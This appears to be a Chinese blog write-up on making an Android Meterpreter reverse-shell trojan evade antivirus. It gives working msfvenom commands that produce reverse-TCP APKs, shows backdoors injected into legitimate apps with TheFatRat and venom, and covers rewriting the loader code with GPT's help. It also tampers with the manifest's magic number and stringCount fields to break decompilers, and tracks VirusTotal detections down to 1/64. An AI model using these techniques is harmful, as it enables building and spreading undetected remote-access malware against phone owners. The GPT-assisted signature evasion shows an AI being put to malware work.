免杀练习两年半
VT检测 https://www.virustotal.com/gui/home/upload
查看一下msfvenom里面的android木马
msfvenom -l payloads | grep android
使用 android/meterpreter/reverse_tcp
msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPORT=10008 R > black.apk
直接使用msfvenom生成的病毒APK,丢到VirScan里面
10/46 , 蒽....这也行
virustotal检查,26/64....
自带一部分免杀效果
msfvenom自带有免杀,接下来使用自带工具进行简单免杀
查看msf自带编码器
这两个效果是最好的
虽然这个是x86的,但是也能兼容在APK中,编码一次
msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai R > black_1.apk
现在是 9/59
编码20次
msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai -i 20 R > black_2.apk
跟编码一次效果一致
使用 -b 特征码无效
使用多重编码,增大免杀概率
msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -a dalvik --encoder x86/call4_dword_xor --iterations 5 --encoder x86/countdown --iterations 4 --encoder x86/shikata_ga_nai --iterations 3 -o encoded.apk
这里用到了 x86/call4_dword_xor,x86/countdown,x86/shikata_ga_nai 三个编码器
没想到免杀效果反而变弱了,只能说是有的编码器特征已经被记录在了检测引擎里面,只要用了就会被检测到
APK免杀的工具好像比较少
git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat chmod +x setup.sh && ./setup.sh
安装部署弄半天
环境OK了之后运行
进入程序主界面
APK相关的就第五条,在原有的APK文件里面植入后门,这里的APK就用李跳跳吧
额忘记这玩意加过壳了
拿一个之前同事给我的没加壳的优酷
这里有三个方法可以选择
不过这个项目也几年没更新了,原项目地址为 https://github.com/dana-at-cp/backdoor-apk
这个方法应该就是fatrat内置的方法
这里我们当然要把每种方式都试一下
这里的权限文件是否要混淆,我建议保持原样,减少特征
结果出现了这个问题
[!] Failed to recompile original project with backdoor
拿一个选择old-fatrat
把我之前的一个Android系统签名的APK放进去,生成成功
在TheFatRat 文件夹下面会生成 app_backdoored.apk,不过在VT上面的效果并不理想
蒽...让我更新apktool,现在最新的版本是2.8.1
本地的apktool环境好像因为TheFatRat搞混乱了,第三种方式就跳过吧 懒得搞环境了~
项目地址 https://github.com/r00t-3xp10it/venom
当然是选择 4 Android / IOS
agents 有三个可以选择的,这里我们选择APK后缀的 1
后面就是一些常规设置 和 设置监听了
/venom/output 里面的木马文件大小是0kb
如果想要下载真实的木马文件需要本机访问浏览器下载,比如我前面写的IP是10.10.10.1,如果想要下载的话就是写虚拟机的IP
下载之后丢到VT 26/64
这样的结果很正常,因为这些工具很久没有更新了,其中的特征都被厂商加入特征库了,但是在工具刚出的时候,都是具有里程碑意义的,我们学习其中的原理即可
再尝试一下 https://github.com/woxihuannisja/Bangcle
java -jar Bangcle.jar b .\black_1.apk
也不行
换一个APK,然后卡住了
蒽....加壳其实可以过很多特征码检测的扫描工具,这里没有找到能直接用的就算了
要想进行源码免杀,就得先知道源代码做了什么
其实也可以替换msfvenom生成木马APK的smail文件,但实际上特征还是在,如果想按照这种思路的话,先知上面之前有文章 https://xz.aliyun.com/t/2967
创建一个什么都不做的Android项目,检查一下有没有误报
编写Android app工程,把msfvenom里面的移植过来
这部分其实是加载器代码
想要在本地运行,配置文件需要写到 configBytes 列表里面,因为这个配置列表我不知道是怎么生成的,看注释里面好像是 metasploit-framework/lib/rex/payloads/meterpreter/config.rb 文件
所以这部分直接跳过加密解密配置部分,稍微魔改一下
这里会走入 if 分支,所以我们在这里魔改
修改main方法
投递到手机中启动
查看是否为我们的机器
对比PID一致
换一个有杀毒软件的手机
这个时候的APK放到VT上面是 8/64
把源码拿出来之后,预感就可以过360加壳的检测了,果不其然
估计之前的检测也是通过msfvenom生成APK的包名之类的特征来检测的
丢到GDA里面可以看到是成功加壳了
这个时候丢到VT上面,居然还是 8/66,沉默了家人们
虽然有自动脱壳的可能性,但是这样计算量太大了,我感觉不会这么快就解出来
去除xml里面的这部分内容,主要是感觉这个特征太明显了
依旧这样
再改改XML里面的各个参数值,stage改成lib引用
发现VT里面有的是检测到了壳产生的告警
打开一个正常的APK,丢到VT上面
给它进行360加固,再丢到VT上面
额....所以有的告警其实是360加固导致的,免费的360加固里面会存在特征文件,需要使用付费版才可以去除 orz
看起来都是误报
但是 K7GW 的特征是 Trojan ( 0052d2661 ),之前木马APK的特征它报的是 005983af1,暂且认为是有对于msf的特定检测
去除Android本身的权限校验,留下
<uses-permission android:name="android.permission.INTERNET" />
因为我们需要用这个权限来启动service,当然其他权限其实也可以留下来一部分,但是这里直接全部去掉
加固
按照我们之前说的360加固壳会出现误报,这里实际上只有三个工具检测是生效的
不影响攻击机获取shell,某些针对Android上的功能会受到影响
源码混淆主要从两个方面进行,主工程代码和lib库混淆
关于特征是在主工程还是lib库,我们可以在不引入lib库的情况下进行测试,而且lib库里面的代码实际上我们只有需要解析config和使用http通道的时候才会用到,当我们选择SOCKET的时候,是用不到lib库的(更加理所当然的去除掉它们
结果依旧
简单从下面几个方向进行修改:
先把socket通信去掉
依旧
所以这部分可以直接跳过了,直接修改启动和运行方式
这个部分其实比较抽象
抛砖引玉吧,如果你想让自己的字迹不被别人看出来,最好的方法是用你的左手写
代码也是同理,刚好GPT写代码很死板,这个任务丢给它刚好
以此类推,然后再删掉一些多余的代码,比如findContext()等等,在不考虑性能的情况下,把全局变量和局部变量换一下位置
在不加壳的情况下 1/64,依旧能够上线
最后加个壳,反而变多了,之前检测出木马的Antiy现在没有告警了,可以理解为已经绕过了
这四个检测我们前面提到过,都是针对加固的告警
经过排查之后发现一个很搞笑的点,杀毒软件还检查 buildToolsVersion 和 minSdkVersion吗
查了一下原因如下
实验步骤如下:
现在minSdkVersion 为 28
Antiy-AVL 告警 Trojan/Generic.ASMalwAD.B6
修改为 30 (反正不等于28就行,我测试了一下26也可以),现在是 DrWeb 告警 Android.Siggen.Susp.4604
这个告警经过排查修改布局库版本可以避免
修改为
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
估计是跟某个木马的库版本匹配上了
检查上线
对抗反编译是一门哲学
虽然前面我们已经很成功了,但是还是有一个遗憾,那就是我们删除了一些权限来进行免杀获取shell,权限文件存储在APK解压后的AndroidManifest.xml 文件里面
如果你跟我一样是一个爱读书的好孩子,在《Android软件安全与逆向分析》第十章中就专门花了一章的篇幅来提到 Android程序的反破解技术
AV在静态检测的过程中,实际上跟软件逆向静态分析没有什么区别,所以我们在这部分进行一下AV对抗
大多数文章是通过反编译工具崩溃来实现对抗,但是这个方法具有版本限制,在新版本的工具上可能就没有这个问题了,比如对抗dex2jar,这里就不再赘述
修改ZIP通用位来进行伪加密,比如使用 ZipCenOp.jar这个工具
这种方法对于android 4.2.x版本及以后系统已经不适用了,Android系统会拒绝这种加密apk的安装
这一小节主要讲如何对 AndroidManifest.xml 进行操作实现杀毒软件突破
AndroidManifest.xml是白月光
将上一节的免杀APK打开权限开关
VT 现在是 3/65
APK木马里面的某些功能一定是需要某个权限的,但是申请这些权限也不一定是恶意应用
个人感觉是有部分误报了,重新创建一个新的项目,什么都不干只申请这些权限
GPT也觉得这是正常权限
无妨,猜测可能是组合权限判定,我们先删除某些权限删掉
<uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
当然这几个是我随便删的,组合权限判断很死板,也有可能删掉一两个权限就能达成免杀,现在再到VT上面 就变成了
如果你跟我一样做过逆向,你会发现偶尔我们使用apktool 去逆向APK的时候会出错,因为AndroidManifest.xml文件里面某些字节出错了(导致apktool出错的可能很多,也可以是在Android代码里面留陷阱),总而言之,就是解析XML不成功,这样的情况下还想看到里面的权限列表当然是不可能的(但是APK是能正常运行的),我们利用这个特性给AV一点小小的震撼
链安上面有一篇这个文章 https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail,但是是从修复角度来看待的问题,我们需要的是
具体需要修改哪一位能阻碍逆向?
本来我是想通过fuzz的方式来找到单位幻数,查资料的时候发现看雪上有师傅研究过
https://bbs.kanxue.com/thread-272045.htm
AndroidManifest文件的幻数(Magic Number),即文件头为0x00080003。将其修改后,反编译工具就无法识别AndroidManifest文件,导致反编译失败
重新打包为APK
使用AndroidKiller反编译出错,这里的apktool版本是 2.4.1
当然在这种情况下AndroidManifest.xml是看不了的
使用GDA,这里的AndroidManifest文件显示为空
但是当我使用2.8.1版本的apktool的时候,幻数这个问题就被修复了
AndroidManifest.xml成功被分析
对APK添加证书后安装,即便是存在幻数,也能够成功安装
具体是为什么Android能解析,之前的反编译工具不行,需要看Android这部分的源代码
如源码所示,没有验证前两个字节是否是 0x0003,只对 headerSize 的合法性做了验证,所以修改了之后安装没问题
修改字符串个数 stringCount 字段,导致跟实际对应不上,也会造成AndroidManifest.xml解析出现问题
实际上这里是68,我们将stringCount 设置为69
然后重新保存签名,这个时候最新的apktool也识别不了了
但是我们能够正常安装运行,为了进一步验证正确性,看一下日志是否去外连我的恶意服务器了
可以看到存在监听动作(报错请忽略,此时服务器没有开启监听),说明APK恶意代码部分没问题
因为写这篇文章的时间比较长,写到这里的时候发现卡巴斯基已经把源码混淆
部分的特征加进去了,去除部分组合权限后的通过率是 2/65 orz
因为我要做对抗反编译的对照实验,所以需要先把免杀降到0
经过检查发现是这部分代码被加入了特征
private static String getJarPath(String path){ String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36); return filePath + ".jar"; }
简单改一下
private static String a(String b){ String randomNum = Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36); String c = b + File.separatorChar + randomNum; return c + ".jar"; }
龙王归位
把之前注释掉的权限都开放,变成了 3/64
因为感觉stringPoolSize陷阱效果比较好,这里就是用这个方法来阻碍分析
跟之前一样 这里的apktool 反编译是被阻碍的
VT上面的效果为 2/65,干扰了 Sophos 杀毒软件的判断